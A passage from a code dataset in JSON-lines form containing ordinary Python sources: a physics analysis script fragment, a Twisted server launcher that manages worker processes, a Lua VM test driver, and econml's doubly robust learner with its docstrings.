row['leptonWeight']*row['bTagWeight']*row['jvtWeight']*row['luminosity'], axis=1)\n\n batch_fin = batch.iloc[:,:8]\n\n batch_fin['weight'] = batch['weight']\n\n batch_fin = batch_fin[['met', 'mt', 'mbb', 'mct2',\n 'mlb1','lep1Pt', 'nJet30', 'nBJet30_MV2c10', 'weight']]\n\n tot = len(batch)\n print('tot = {}'.format(tot))\n print(\"\\x1b[31m\\\"saving {}_{}\"\"\\x1b[0m\".format(name,ix))\n np.save(syst_path + '{}/{}.npy'.format(folder,name), batch_fin.values)\n \n\n\nif __name__ == \"__main__\":\n \n parser = argparse.ArgumentParser(description='arguments for systematics cuts: define if up or down and if additional cuts are required')\n\n parser.add_argument('--direction', nargs=\"?\", type = str, default = 'down', help= 'up or down')\n parser.add_argument('--depth', nargs=\"?\", type = str, default = 'middle', help= 'depth of the cuts')\n parser.add_argument('--clean_data', nargs=\"?\", type = bool, default = True, help= 'remove events with variable <0 and >1000')\n\n args = parser.parse_args()\n additional_cuts = args.clean_data\n \n main(args.direction, args.depth, additional_cuts)\n","sub_path":"013_signal_sys.py","file_name":"013_signal_sys.py","file_ext":"py","file_size_in_byte":5644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"432572402","text":"try:\n import cPickle as pickle\nexcept ImportError:\n import pickle\n\nfrom .service import Service\nfrom .options import DEFAULT_OPTIONS\nfrom .utils import getPidPath\n\nfrom os import environ\nfrom socket import AF_INET\nfrom twisted.application.internet import TCPServer, SSLServer\nfrom twisted.internet import reactor\n\nimport chalk\nimport os\nimport time\n\n\n__version__ = \"0.0.0\"\n__all__ = ['start', 'stop', 'restart']\n\n\ndef start(resource, options):\n \"sets up the desired services and runs the requested action\"\n neji = Neji(resource, options=options)\n neji.spinUp(options['fd'])\n chalk.blue(\n 'Ready and Listening on port %d...' % options.get('port')\n )\n neji.reactor.run()\n\n\ndef stop(resource, options, sig=9):\n neji = Neji(resource, options=options)\n with open(neji.pid) as pid_file:\n pids = pid_file.readlines()\n for pid in pids:\n try:\n os.kill(int(pid), sig)\n except OSError:\n # OSError raised when it trys to kill the child processes\n pass\n os.remove(neji.pid)\n\n\ndef restart(resource, options, fd=None):\n stop(resource, options)\n time.sleep(1) # wait a second to ensure the port is closed\n start(resource, options, fd)\n\n\nclass Neji(object):\n \"\"\"\n HendrixDeploy encapsulates the necessary information needed to deploy\n the HendrixService on a single or multiple processes.\n \"\"\"\n\n def __init__(self, resource, options={}, reactor=reactor):\n self.options = DEFAULT_OPTIONS\n self.options.update(options)\n self.reactor = reactor\n self.service = Service(resource, self.options['port'])\n\n self.servers = []\n for service in self.service.services:\n if isinstance(service, (TCPServer, SSLServer)):\n self.servers.append(service.name)\n # self.is_secure = self.options['key'] and self.options['cert']\n\n @property\n def pid(self):\n \"The default location of the pid file for process management\"\n return getPidPath(self.options)\n\n def getSpawnArgs(self):\n _args = [\n 'ng',\n 'start', # action\n '--port', str(self.options['port']),\n '--workers', '0',\n '--fd', pickle.dumps(self.fds),\n ]\n\n # args/signals\n if self.options['dev']:\n _args.append('--dev')\n return _args\n\n def spinUp(self, fd=None):\n if fd is None:\n # anything in this block is only run once\n self.service.startService()\n self.launchWorkers()\n else:\n fds = pickle.loads(fd)\n factories = {}\n for name in self.servers:\n factory = self.disownService(name)\n factories[name] = factory\n self.service.startService()\n for name, factory in factories.iteritems():\n self.addSubprocesses(fds, name, factory)\n\n def launchWorkers(self):\n pids = [str(os.getpid())] # script pid\n if self.options['workers']:\n # Create a new listening port and several other processes to\n # help out.\n childFDs = {0: 0, 1: 1, 2: 2}\n self.fds = {}\n for name in self.servers:\n port = self.service.getPort(name)\n fd = port.fileno()\n childFDs[fd] = fd\n self.fds[name] = fd\n args = self.getSpawnArgs()\n transports = []\n for i in range(self.options['workers']):\n transport = self.reactor.spawnProcess(\n None, 'ng', args, childFDs=childFDs, env=environ\n )\n transports.append(transport)\n pids.append(str(transport.pid))\n with open(self.pid, 'w') as pid_file:\n pid_file.write('\\n'.join(pids))\n\n def addSubprocesses(self, fds, name, factory):\n self.reactor.adoptStreamPort( # outputs port\n fds[name], AF_INET, factory\n )\n\n def disownService(self, name):\n \"\"\"\n disowns a service on hendirix by name\n returns a factory for use in the adoptStreamPort part of setting up\n multiple processes\n \"\"\"\n _service = self.service.getServiceNamed(name)\n _service.disownServiceParent()\n return _service.factory\n","sub_path":"neji/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"320269446","text":"from lua_state import LuaState\nimport sys\n\n\ndef py_print(ls):\n nargs = ls.get_top()\n for i in range(1, nargs+1):\n if ls.is_boolean(i):\n print('%t', ls.to_boolean(i), end='')\n elif ls.is_string(i):\n print(ls.to_string(i), end='')\n else:\n print(ls.type_name(ls.type(i)), end='')\n\n if i < nargs:\n print('\\t', end='')\n\n print()\n return 0\n\n\ndef main():\n with open(sys.argv[1], 'rb') as f:\n data = f.read()\n ls = LuaState()\n ls.register('print', py_print)\n ls.load(data)\n ls.call(0, 0)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"code/python/ch10/src/test_closure_upvalue.py","file_name":"test_closure_upvalue.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"539552406","text":"# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License.\n\n\"\"\"\nDoubly Robust Learner. The method uses the doubly robust correction to construct doubly\nrobust estimates of all the potential outcomes of each samples. Then estimates a CATE model\nby regressing the potential outcome differences on the heterogeneity features X.\n\nReferences\n----------\n\nDylan Foster, Vasilis Syrgkanis (2019).\n Orthogonal Statistical Learning.\n ACM Conference on Learning Theory. https://arxiv.org/abs/1901.09036\n\nRobins, J.M., Rotnitzky, A., and Zhao, L.P. (1994).\n Estimation of regression coefficients when some regressors are not always observed.\n Journal of the American Statistical Association 89,846–866.\n\nBang, H. and Robins, J.M. (2005).\n Doubly robust estimation in missing data and causal inference models.\n Biometrics 61,962–972.\n\nTsiatis AA (2006).\n Semiparametric Theory and Missing Data.\n New York: Springer; 2006.\n\n\"\"\"\n\nfrom warnings import warn\n\nimport numpy as np\nfrom sklearn.base import clone\nfrom sklearn.linear_model import (LassoCV, LinearRegression,\n LogisticRegressionCV)\n\nfrom ._ortho_learner import _OrthoLearner\nfrom .cate_estimator import (DebiasedLassoCateEstimatorDiscreteMixin,\n ForestModelFinalCateEstimatorDiscreteMixin,\n StatsModelsCateEstimatorDiscreteMixin)\nfrom .inference import GenericModelFinalInferenceDiscrete\nfrom .sklearn_extensions.ensemble import SubsampledHonestForest\nfrom .sklearn_extensions.linear_model import (\n DebiasedLasso, StatsModelsLinearRegression, WeightedLassoCVWrapper)\nfrom .utilities import (_deprecate_positional, check_high_dimensional,\n check_input_arrays, filter_none_kwargs,\n fit_with_groups, inverse_onehot)\n\n\nclass _ModelNuisance:\n def __init__(self, model_propensity, model_regression, min_propensity):\n self._model_propensity = model_propensity\n self._model_regression = model_regression\n self._min_propensity = min_propensity\n\n def _combine(self, X, W):\n return np.hstack([arr for arr in [X, W] if arr is not None])\n\n def fit(self, Y, T, X=None, W=None, *, sample_weight=None, groups=None):\n if Y.ndim != 1 and (Y.ndim != 2 or Y.shape[1] != 1):\n raise ValueError(\"The outcome matrix must be of shape ({0}, ) or ({0}, 1), \"\n \"instead got {1}.\".format(len(X), Y.shape))\n if (X is None) and (W is None):\n raise AttributeError(\"At least one of X or W has to not be None!\")\n if np.any(np.all(T == 0, axis=0)) or (not np.any(np.all(T == 0, axis=1))):\n raise AttributeError(\"Provided crossfit folds contain training splits that \" +\n \"don't contain all treatments\")\n XW = self._combine(X, W)\n filtered_kwargs = filter_none_kwargs(sample_weight=sample_weight)\n\n fit_with_groups(self._model_propensity, XW, inverse_onehot(T), groups=groups, **filtered_kwargs)\n fit_with_groups(self._model_regression, np.hstack([XW, T]), Y, groups=groups, **filtered_kwargs)\n return self\n\n def score(self, Y, T, X=None, W=None, *, sample_weight=None, groups=None):\n XW = self._combine(X, W)\n filtered_kwargs = filter_none_kwargs(sample_weight=sample_weight)\n\n if hasattr(self._model_propensity, 'score'):\n propensity_score = self._model_propensity.score(XW, inverse_onehot(T), **filtered_kwargs)\n else:\n propensity_score = None\n if hasattr(self._model_regression, 'score'):\n regression_score = self._model_regression.score(np.hstack([XW, T]), Y, **filtered_kwargs)\n else:\n regression_score = None\n\n return propensity_score, regression_score\n\n def predict(self, Y, T, X=None, W=None, *, sample_weight=None, groups=None):\n XW = self._combine(X, W)\n propensities = np.maximum(self._model_propensity.predict_proba(XW), self._min_propensity)\n n = T.shape[0]\n Y_pred = np.zeros((T.shape[0], T.shape[1] + 1))\n T_counter = np.zeros(T.shape)\n Y_pred[:, 0] = self._model_regression.predict(np.hstack([XW, T_counter])).reshape(n)\n Y_pred[:, 0] += (Y.reshape(n) - Y_pred[:, 0]) * np.all(T == 0, axis=1) / propensities[:, 0]\n for t in np.arange(T.shape[1]):\n T_counter = np.zeros(T.shape)\n T_counter[:, t] = 1\n Y_pred[:, t + 1] = self._model_regression.predict(np.hstack([XW, T_counter])).reshape(n)\n Y_pred[:, t + 1] += (Y.reshape(n) - Y_pred[:, t + 1]) * (T[:, t] == 1) / propensities[:, t + 1]\n return Y_pred.reshape(Y.shape + (T.shape[1] + 1,))\n\n\nclass _ModelFinal:\n # Coding Remark: The reasoning around the multitask_model_final could have been simplified if\n # we simply wrapped the model_final with a MultiOutputRegressor. However, because we also want\n # to allow even for model_final objects whose fit(X, y) can accept X=None\n # (e.g. the StatsModelsLinearRegression), we cannot take that route, because the MultiOutputRegressor\n # checks that X is 2D array.\n def __init__(self, model_final, featurizer, multitask_model_final):\n self._model_final = clone(model_final, safe=False)\n self._featurizer = clone(featurizer, safe=False)\n self._multitask_model_final = multitask_model_final\n return\n\n def fit(self, Y, T, X=None, W=None, *, nuisances, sample_weight=None, sample_var=None):\n Y_pred, = nuisances\n self.d_y = Y_pred.shape[1:-1] # track whether there's a Y dimension (must be a singleton)\n if (X is not None) and (self._featurizer is not None):\n X = self._featurizer.fit_transform(X)\n filtered_kwargs = filter_none_kwargs(sample_weight=sample_weight, sample_var=sample_var)\n if self._multitask_model_final:\n ys = Y_pred[..., 1:] - Y_pred[..., [0]] # subtract control results from each other arm\n if self.d_y: # need to squeeze out singleton so that we fit on 2D array\n ys = ys.squeeze(1)\n self.model_cate = self._model_final.fit(X, ys, **filtered_kwargs)\n else:\n self.models_cate = [clone(self._model_final, safe=False).fit(X, Y_pred[..., t] - Y_pred[..., 0],\n **filtered_kwargs)\n for t in np.arange(1, Y_pred.shape[-1])]\n return self\n\n def predict(self, X=None):\n if (X is not None) and (self._featurizer is not None):\n X = self._featurizer.transform(X)\n if self._multitask_model_final:\n pred = self.model_cate.predict(X)\n if self.d_y: # need to reintroduce singleton Y dimension\n return pred[:, np.newaxis, :]\n return pred\n else:\n preds = np.array([mdl.predict(X) for mdl in self.models_cate])\n return np.moveaxis(preds, 0, -1) # move treatment dim to end\n\n def score(self, Y, T, X=None, W=None, *, nuisances, sample_weight=None, sample_var=None):\n if (X is not None) and (self._featurizer is not None):\n X = self._featurizer.transform(X)\n Y_pred, = nuisances\n if self._multitask_model_final:\n return np.mean(np.average((Y_pred[..., 1:] - Y_pred[..., [0]] - self.model_cate.predict(X))**2,\n weights=sample_weight, axis=0))\n else:\n return np.mean([np.average((Y_pred[..., t] - Y_pred[..., 0] -\n self.models_cate[t - 1].predict(X))**2,\n weights=sample_weight, axis=0)\n for t in np.arange(1, Y_pred.shape[-1])])\n\n\nclass DRLearner(_OrthoLearner):\n \"\"\"\n CATE estimator that uses doubly-robust correction techniques to account for\n covariate shift (selection bias) between the treatment arms. The estimator is a special\n case of an :class:`._OrthoLearner` estimator, so it follows the two\n stage process, where a set of nuisance functions are estimated in the first stage in a crossfitting\n manner and a final stage estimates the CATE model. See the documentation of\n :class:`._OrthoLearner` for a description of this two stage process.\n\n In this estimator, the CATE is estimated by using the following estimating equations. If we let:\n\n .. math ::\n Y_{i, t}^{DR} = E[Y | X_i, W_i, T_i=t]\\\n + \\\\frac{Y_i - E[Y | X_i, W_i, T_i=t]}{Pr[T_i=t | X_i, W_i]} \\\\cdot 1\\\\{T_i=t\\\\}\n\n Then the following estimating equation holds:\n\n .. math ::\n E\\\\left[Y_{i, t}^{DR} - Y_{i, 0}^{DR} | X_i\\\\right] = \\\\theta_t(X_i)\n\n Thus if we estimate the nuisance functions :math:`h(X, W, T) = E[Y | X, W, T]` and\n :math:`p_t(X, W)=Pr[T=t | X, W]` in the first stage, we can estimate the final stage cate for each\n treatment t, by running a regression, regressing :math:`Y_{i, t}^{DR} - Y_{i, 0}^{DR}` on :math:`X_i`.\n\n The problem of estimating the nuisance function :math:`p` is a simple multi-class classification\n problem of predicting the label :math:`T` from :math:`X, W`. The :class:`.DRLearner`\n class takes as input the parameter ``model_propensity``, which is an arbitrary scikit-learn\n classifier, that is internally used to solve this classification problem.\n\n The second nuisance function :math:`h` is a simple regression problem and the :class:`.DRLearner`\n class takes as input the parameter ``model_regressor``, which is an arbitrary scikit-learn regressor that\n is internally used to solve this regression problem.\n\n The final stage is multi-task regression problem with outcomes the labels :math:`Y_{i, t}^{DR} - Y_{i, 0}^{DR}`\n for each non-baseline treatment t. The :class:`.DRLearner` takes as input parameter\n ``model_final``, which is any scikit-learn regressor that is internally used to solve this multi-task\n regresion problem. If the parameter ``multitask_model_final`` is False, then this model is assumed\n to be a mono-task regressor, and separate clones of it are used to solve each regression target\n separately.\n\n Parameters\n ----------\n model_propensity : scikit-learn classifier or 'auto', optional (default='auto')\n Estimator for Pr[T=t | X, W]. Trained by regressing treatments on (features, controls) concatenated.\n Must implement `fit` and `predict_proba` methods. The `fit` method must be able to accept X and T,\n where T is a shape (n, ) array.\n If 'auto', :class:`~sklearn.linear_model.LogisticRegressionCV` will be chosen.\n\n model_regression : scikit-learn regressor or 'auto', optional (default='auto')\n Estimator for E[Y | X, W, T]. Trained by regressing Y on (features, controls, one-hot-encoded treatments)\n concatenated. The one-hot-encoding excludes the baseline treatment. Must implement `fit` and\n `predict` methods. If different models per treatment arm are desired, see the\n :class:`.MultiModelWrapper` helper class.\n If 'auto' :class:`.WeightedLassoCV`/:class:`.WeightedMultiTaskLassoCV` will be chosen.\n\n model_final :\n estimator for the final cate model. Trained on regressing the doubly robust potential outcomes\n on (features X).\n\n - If X is None, then the fit method of model_final should be able to handle X=None.\n - If featurizer is not None and X is not None, then it is trained on the outcome of\n featurizer.fit_transform(X).\n - If multitask_model_final is True, then this model must support multitasking\n and it is trained by regressing all doubly robust target outcomes on (featurized) features simultanteously.\n - The output of the predict(X) of the trained model will contain the CATEs for each treatment compared to\n baseline treatment (lexicographically smallest). If multitask_model_final is False, it is assumed to be a\n mono-task model and a separate clone of the model is trained for each outcome. Then predict(X) of the t-th\n clone will be the CATE of the t-th lexicographically ordered treatment compared to the baseline.\n\n multitask_model_final : bool, optional, default False\n Whether the model_final should be treated as a multi-task model. See description of model_final.\n\n featurizer : :term:`transformer`, optional, default None\n Must support fit_transform and transform. Used to create composite features in the final CATE regression.\n It is ignored if X is None. The final CATE will be trained on the outcome of featurizer.fit_transform(X).\n If featurizer=None, then CATE is trained on X.\n\n min_propensity : float, optional, default ``1e-6``\n The minimum propensity at which to clip propensity estimates to avoid dividing by zero.\n\n categories: 'auto' or list, default 'auto'\n The categories to use when encoding discrete treatments (or 'auto' to use the unique sorted values).\n The first category will be treated as the control treatment.\n\n n_splits: int, cross-validation generator or an iterable, optional (default is 2)\n Determines the cross-validation splitting strategy.\n Possible inputs for cv are:\n\n - None, to use the default 3-fold cross-validation,\n - integer, to specify the number of folds.\n - :term:`cv splitter`\n - An iterable yielding (train, test) splits as arrays of indices.\n\n For integer/None inputs, if the treatment is discrete\n :class:`~sklearn.model_selection.StratifiedKFold` is used, else,\n :class:`~sklearn.model_selection.KFold` is used\n (with a random shuffle in either case).\n\n Unless an iterable is used, we call `split(concat[W, X], T)` to generate the splits. If all\n W, X are None, then we call `split(ones((T.shape[0], 1)), T)`.\n\n random_state: int, :class:`~numpy.random.mtrand.RandomState` instance or None\n If int, random_state is the seed used by the random number generator;\n If :class:`~numpy.random.mtrand.RandomState` instance, random_state is the random number generator;\n If None, the random number generator is the :class:`~numpy.random.mtrand.RandomState` instance used\n by :mod:`np.random`.\n\n Examples\n --------\n A simple example with the default models:\n\n .. testcode::\n\n import numpy as np\n import scipy.special\n from econml.drlearner import DRLearner\n\n np.random.seed(123)\n X = np.random.normal(size=(1000, 3))\n T = np.random.binomial(2, scipy.special.expit(X[:, 0]))\n sigma = 0.001\n y = (1 + .5*X[:, 0]) * T + X[:, 0] + np.random.normal(0, sigma, size=(1000,))\n est = DRLearner()\n est.fit(y, T, X=X, W=None)\n\n >>> est.const_marginal_effect(X[:2])\n array([[0.511640..., 1.144004...],\n [0.378140..., 0.613143...]])\n >>> est.effect(X[:2], T0=0, T1=1)\n array([0.511640..., 0.378140...])\n >>> est.score_\n 5.11238581...\n >>> est.score(y, T, X=X)\n 5.78673506...\n >>> est.model_cate(T=1).coef_\n array([0.434910..., 0.010226..., 0.047913...])\n >>> est.model_cate(T=2).coef_\n array([ 0.863723..., 0.086946..., -0.022288...])\n >>> est.cate_feature_names()\n \n >>> [mdl.coef_ for mdl in est.models_regression]\n [array([ 1.472104...e+00, 1.984419...e-03, -1.103451...e-02, 6.984376...e-01,\n 2.049695...e+00]), array([ 1.455654..., -0.002110..., 0.005488..., 0.677090..., 1.998648...])]\n >>> [mdl.coef_ for mdl in est.models_propensity]\n [array([[-0.747137..., 0.153419..., -0.018412...],\n [ 0.083807..., -0.110360..., -0.076003...],\n [ 0.663330..., -0.043058... , 0.094416...]]),\n array([[-1.048348...e+00, 2.248997...e-04, 3.228087...e-02],\n [ 1.911900...e-02, 1.241337...e-01, -8.196211...e-02],\n [ 1.029229...e+00, -1.243586...e-01, 4.968123...e-02]])]\n\n Beyond default models:\n\n .. testcode::\n\n import scipy.special\n import numpy as np\n from sklearn.linear_model import LassoCV\n from sklearn.ensemble import RandomForestClassifier, RandomForestRegressor\n from econml.drlearner import DRLearner\n\n np.random.seed(123)\n X = np.random.normal(size=(1000, 3))\n T = np.random.binomial(2, scipy.special.expit(X[:, 0]))\n sigma = 0.01\n y = (1 + .5*X[:, 0]) * T + X[:, 0] + np.random.normal(0, sigma, size=(1000,))\n est = DRLearner(model_propensity=RandomForestClassifier(n_estimators=100, min_samples_leaf=10),\n model_regression=RandomForestRegressor(n_estimators=100, min_samples_leaf=10),\n model_final=LassoCV(cv=3),\n featurizer=None)\n est.fit(y, T, X=X, W=None)\n\n >>> est.score_\n 1.7...\n >>> est.const_marginal_effect(X[:3])\n array([[0.68..., 1.10...],\n [0.56..., 0.79...],\n [0.34..., 0.10...]])\n >>> est.model_cate(T=2).coef_\n array([0.74..., 0. , 0. ])\n >>> est.model_cate(T=2).intercept_\n 1.9...\n >>> est.model_cate(T=1).coef_\n array([0.24..., 0.00..., 0. ])\n >>> est.model_cate(T=1).intercept_\n 0.94...\n\n Attributes\n ----------\n score_ : float\n The MSE in the final doubly robust potential outcome regressions, i.e.\n\n .. math::\n \\\\frac{1}{n_t} \\\\sum_{t=1}^{n_t} \\\\frac{1}{n} \\\\sum_{i=1}^n (Y_{i, t}^{DR} - \\\\hat{\\\\theta}_t(X_i))^2\n\n where n_t is the number of treatments (excluding control).\n\n If `sample_weight` is not None at fit time, then a weighted average across samples is returned.\n\n\n \"\"\"\n\n def __init__(self, model_propensity='auto',\n model_regression='auto',\n model_final=StatsModelsLinearRegression(),\n multitask_model_final=False,\n featurizer=None,\n min_propensity=1e-6,\n categories='auto',\n n_splits=2,\n random_state=None):\n if model_propensity == 'auto':\n model_propensity = LogisticRegressionCV(cv=3, solver='lbfgs', multi_class='auto',\n random_state=random_state)\n if model_regression == 'auto':\n model_regression = WeightedLassoCVWrapper(cv=3, random_state=random_state)\n self._multitask_model_final = multitask_model_final\n super().__init__(_ModelNuisance(model_propensity, model_regression, min_propensity),\n _ModelFinal(model_final, featurizer, multitask_model_final),\n n_splits=n_splits, discrete_treatment=True,\n discrete_instrument=False, # no instrument, so doesn't matter\n categories=categories,\n random_state=random_state)\n\n @_deprecate_positional(\"X and W should be passed by keyword only. In a future release \"\n \"we will disallow passing X and W by position.\", ['X', 'W'])\n def fit(self, Y, T, X=None, W=None, *, sample_weight=None, sample_var=None, groups=None, inference=None):\n \"\"\"\n Estimate the counterfactual model from data, i.e. estimates function :math:`\\\\theta(\\\\cdot)`.\n\n Parameters\n ----------\n Y: (n,) vector of length n\n Outcomes for each sample\n T: (n,) vector of length n\n Treatments for each sample\n X: optional(n, d_x) matrix or None (Default=None)\n Features for each sample\n W: optional(n, d_w) matrix or None (Default=None)\n Controls for each sample\n sample_weight: optional(n,) vector or None (Default=None)\n Weights for each samples\n sample_var: optional(n,) vector or None (Default=None)\n Sample variance for each sample\n groups: (n,) vector, optional\n All rows corresponding to the same group will be kept together during splitting.\n If groups is not None, the n_splits argument passed to this class's initializer\n must support a 'groups' argument to its split method.\n inference: string, :class:`.Inference` instance, or None\n Method for performing inference. This estimator supports 'bootstrap'\n (or an instance of :class:`.BootstrapInference`).\n\n Returns\n -------\n self: DRLearner instance\n \"\"\"\n # Replacing fit from _OrthoLearner, to enforce Z=None and improve the docstring\n return super().fit(Y, T, X=X, W=W,\n sample_weight=sample_weight, sample_var=sample_var, groups=groups,\n inference=inference)\n\n def score(self, Y, T, X=None, W=None):\n \"\"\"\n Score the fitted CATE model on a new data set. Generates nuisance parameters\n for the new data set based on the fitted residual nuisance models created at fit time.\n It uses the mean prediction of the models fitted by the different crossfit folds.\n Then calculates the MSE of the final residual Y on residual T regression.\n\n If model_final does not have a score method, then it raises an :exc:`.AttributeError`\n\n Parameters\n ----------\n Y: (n,) vector of length n\n Outcomes for each sample\n T: (n,) vector of length n\n Treatments for each sample\n X: optional(n, d_x) matrix or None (Default=None)\n Features for each sample\n W: optional(n, d_w) matrix or None (Default=None)\n Controls for each sample\n\n Returns\n -------\n score: float\n The MSE of the final CATE model on the new data.\n \"\"\"\n # Replacing score from _OrthoLearner, to enforce Z=None and improve the docstring\n return super().score(Y, T, X=X, W=W)\n\n @property\n def multitask_model_cate(self):\n \"\"\"\n Get the fitted final CATE model.\n\n Returns\n -------\n multitask_model_cate: object of type(`model_final`)\n An instance of the model_final object that was fitted after calling fit which corresponds whose\n vector of outcomes correspond to the CATE model for each treatment, compared to baseline.\n Available only when multitask_model_final=True.\n \"\"\"\n if not self._multitask_model_final:\n raise AttributeError(\"Separate CATE models were fitted for each treatment! Use model_cate.\")\n return super().model_final.model_cate\n\n def model_cate(self, T=1):\n \"\"\"\n Get the fitted final CATE model.\n\n Parameters\n ----------\n T: alphanumeric\n The treatment with respect to which we want the fitted CATE model.\n\n Returns\n -------\n model_cate: object of type(model_final)\n An instance of the model_final object that was fitted after calling fit which corresponds\n to the CATE model for treatment T=t, compared to baseline. Available when multitask_model_final=False.\n \"\"\"\n if self._multitask_model_final:\n raise AttributeError(\"A single multitask model was fitted for all treatments! Use multitask_model_cate.\")\n _, T = self._expand_treatments(None, T)\n ind = inverse_onehot(T).item() - 1\n assert ind >= 0, \"No model was fitted for the control\"\n return super().model_final.models_cate[ind]\n\n @property\n def models_propensity(self):\n \"\"\"\n Get the fitted propensity models.\n\n Returns\n -------\n models_propensity: list of objects of type(`model_propensity`)\n A list of instances of the `model_propensity` object. Each element corresponds to a crossfitting\n fold and is the model instance that was fitted for that training fold.\n \"\"\"\n return [mdl._model_propensity for mdl in super().models_nuisance]\n\n @property\n def models_regression(self):\n \"\"\"\n Get the fitted regression models.\n\n Returns\n -------\n model_regression: list of objects of type(`model_regression`)\n A list of instances of the model_regression object. Each element corresponds to a crossfitting\n fold and is the model instance that was fitted for that training fold.\n \"\"\"\n return [mdl._model_regression for mdl in super().models_nuisance]\n\n @property\n def nuisance_scores_propensity(self):\n \"\"\"Gets the score for the propensity model on out-of-sample training data\"\"\"\n return self.nuisance_scores_[0]\n\n @property\n def nuisance_scores_regression(self):\n \"\"\"Gets the score for the regression model on out-of-sample training data\"\"\"\n return self.nuisance_scores_[1]\n\n @property\n def featurizer(self):\n \"\"\"\n Get the fitted featurizer.\n\n Returns\n -------\n featurizer: object of type(`featurizer`)\n An instance of the fitted featurizer that was used to preprocess X in the final CATE model training.\n Available only when featurizer is not None and X is not None.\n \"\"\"\n return super().model_final._featurizer\n\n def cate_feature_names(self, input_feature_names=None):\n \"\"\"\n Get the output feature names.\n\n Parameters\n ----------\n input_feature_names: list of strings of length X.shape[1] or None\n The names of the input features\n\n Returns\n -------\n out_feature_names: list of strings or None\n The names of the output features :math:`\\\\phi(X)`, i.e. the features with respect to which the\n final CATE model for each treatment is linear. It is the names of the features that are associated\n with each entry of the :meth:`coef_` parameter. Available only when the featurizer is not None and has\n a method: `get_feature_names(input_feature_names)`. Otherwise None is returned.\n \"\"\"\n if self.featurizer is None:\n return input_feature_names\n elif hasattr(self.featurizer, 'get_feature_names'):\n return self.featurizer.get_feature_names(input_feature_names)\n else:\n raise AttributeError(\"Featurizer does not have a method: get_feature_names!\")\n\n\nclass LinearDRLearner(StatsModelsCateEstimatorDiscreteMixin, DRLearner):\n \"\"\"\n Special case of the :class:`.DRLearner` where the final stage\n is a Linear Regression on a low dimensional set of features. In this case, inference\n can be performed via the asymptotic normal characterization of the estimated parameters.\n This is computationally faster than bootstrap inference. To do this, just leave the setting ``inference='auto'``\n unchanged, or explicitly set ``inference='statsmodels'`` or alter the covariance type calculation via\n ``inference=StatsModelsInferenceDiscrete(cov_type='HC1)``.\n\n More concretely, this estimator assumes that the final cate model for each treatment takes a linear form:\n\n .. math ::\n \\\\theta_t(X) = \\\\left\\\\langle \\\\theta_t, \\\\phi(X) \\\\right\\\\rangle + \\\\beta_t\n\n where :math:`\\\\phi(X)` is the outcome features of the featurizers, or `X` if featurizer is None. :math:`\\\\beta_t`\n is a an intercept of the CATE, which is included if ``fit_cate_intercept=True`` (Default). It fits this by\n running a standard ordinary linear regression (OLS), regressing the doubly robust outcome differences on X:\n\n .. math ::\n \\\\min_{\\\\theta_t, \\\\beta_t}\\\n E_n\\\\left[\\\\left(Y_{i, t}^{DR} - Y_{i, 0}^{DR}\\\n - \\\\left\\\\langle \\\\theta_t, \\\\phi(X_i) \\\\right\\\\rangle - \\\\beta_t\\\\right)^2\\\\right]\n\n Then inference can be performed via standard approaches for inference of OLS, via asympotic normal approximations\n of the estimated parameters. The default covariance estimator used is heteroskedasticity robust (HC1).\n For other methods see :class:`.StatsModelsInferenceDiscrete`. Use can invoke them by setting:\n ``inference=StatsModelsInferenceDiscrete(cov_type=...)``.\n\n This approach is valid even if the CATE model is not linear in :math:`\\\\phi(X)`. In this case it performs\n inference on the best linear approximation of the CATE model.\n\n Parameters\n ----------\n model_propensity : scikit-learn classifier or 'auto', optional (default='auto')\n Estimator for Pr[T=t | X, W]. Trained by regressing treatments on (features, controls) concatenated.\n Must implement `fit` and `predict_proba` methods. The `fit` method must be able to accept X and T,\n where T is a shape (n, ) array.\n If 'auto', :class:`~sklearn.linear_model.LogisticRegressionCV` will be chosen.\n\n model_regression : scikit-learn regressor or 'auto', optional (default='auto')\n Estimator for E[Y | X, W, T]. Trained by regressing Y on (features, controls, one-hot-encoded treatments)\n concatenated. The one-hot-encoding excludes the baseline treatment. Must implement `fit` and\n `predict` methods. If different models per treatment arm are desired, see the\n :class:`.MultiModelWrapper` helper class.\n If 'auto' :class:`.WeightedLassoCV`/:class:`.WeightedMultiTaskLassoCV` will be chosen.\n\n featurizer : :term:`transformer`, optional, default None\n Must support fit_transform and transform. Used to create composite features in the final CATE regression.\n It is ignored if X is None. The final CATE will be trained on the outcome of featurizer.fit_transform(X).\n If featurizer=None, then CATE is trained on X.\n\n fit_cate_intercept : bool, optional, default True\n Whether the linear CATE model should have a constant term.\n\n min_propensity : float, optional, default ``1e-6``\n The minimum propensity at which to clip propensity estimates to avoid dividing by zero.\n\n categories: 'auto' or list, default 'auto'\n The categories to use when encoding discrete treatments (or 'auto' to use the unique sorted values).\n The first category will be treated as the control treatment.\n\n n_splits: int, cross-validation generator or an iterable, optional (default is 2)\n Determines the cross-validation splitting strategy.\n Possible inputs for cv are:\n\n - None, to use the default 3-fold cross-validation,\n - integer, to specify the number of folds.\n - :term:`cv splitter`\n - An iterable yielding (train, test) splits as arrays of indices.\n\n For integer/None inputs, if the treatment is discrete\n :class:`~sklearn.model_selection.StratifiedKFold` is used, else,\n :class:`~sklearn.model_selection.KFold` is used\n (with a random shuffle in either case).\n\n Unless an iterable is used, we call `split(X,T)` to generate the splits.\n\n random_state: int, :class:`~numpy.random.mtrand.RandomState` instance or None\n If int, random_state is the seed used by the random number generator;\n If :class:`~numpy.random.mtrand.RandomState` instance, random_state is the random number generator;\n If None, the random number generator is the :class:`~numpy.random.mtrand.RandomState` instance used\n by :mod:`np.random`.\n\n Examples\n --------\n A simple example with the default models:\n\n .. testcode::\n\n import numpy as np\n import scipy.special\n from econml.drlearner import DRLearner, LinearDRLearner\n\n np.random.seed(123)\n X = np.random.normal(size=(1000, 3))\n T = np.random.binomial(2, scipy.special.expit(X[:, 0]))\n y = (1 + .5*X[:, 0]) * T + X[:, 0] + np.random.normal(size=(1000,))\n est = LinearDRLearner()\n est.fit(y, T, X=X, W=None)\n\n >>> est.effect(X[:3])\n array([ 0.409743..., 0.312604..., -0.127394...])\n >>> est.effect_interval(X[:3])\n (array([ 0.120682..., 